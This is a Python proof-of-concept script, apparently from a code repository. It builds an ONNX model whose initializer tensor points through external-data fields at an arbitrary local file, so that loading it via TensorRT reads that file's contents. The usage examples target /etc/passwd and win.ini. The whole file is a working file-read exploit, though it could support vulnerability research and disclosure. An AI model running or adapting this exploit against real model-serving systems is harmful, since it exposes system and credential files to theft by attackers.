File size: 1,871 Bytes
1ec1476 | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 | #!/usr/bin/env python3
"""
Create a malicious ONNX model that reads an arbitrary file via TensorRT.
Usage:
python create_malicious_model.py /path/to/target/file output.onnx [bytes_to_read]
Example:
python create_malicious_model.py C:/Windows/win.ini exploit.onnx
python create_malicious_model.py /etc/passwd exploit.onnx 1024
"""
from onnx import TensorProto, helper
import sys
import os
def create(target_path, output_path, read_bytes):
n_floats = read_bytes // 4
tensor = TensorProto()
tensor.name = "stolen_data"
tensor.data_type = TensorProto.FLOAT
tensor.dims.extend([n_floats])
tensor.data_location = TensorProto.EXTERNAL
for k, v in [("location", target_path), ("offset", "0"), ("length", str(read_bytes))]:
entry = tensor.external_data.add()
entry.key = k
entry.value = v
X = helper.make_tensor_value_info("input", TensorProto.FLOAT, [n_floats])
Y = helper.make_tensor_value_info("output", TensorProto.FLOAT, [n_floats])
node = helper.make_node("Add", ["input", "stolen_data"], ["output"])
graph = helper.make_graph([node], "exploit", [X], [Y], initializer=[tensor])
model = helper.make_model(graph, opset_imports=[helper.make_opsetid("", 13)])
with open(output_path, 'wb') as f:
f.write(model.SerializeToString())
print(f"[+] Model saved: {output_path} ({os.path.getsize(output_path)} bytes)")
print(f"[+] Target: {target_path} ({read_bytes} bytes)")
if __name__ == "__main__":
if len(sys.argv) < 3:
print(f"Usage: {sys.argv[0]} <target_file> <output.onnx> [bytes]")
sys.exit(1)
target = sys.argv[1]
output = sys.argv[2]
nbytes = int(sys.argv[3]) if len(sys.argv) > 3 else 1024
nbytes = (nbytes // 4) * 4 # Must be multiple of 4
create(target, output, nbytes)
|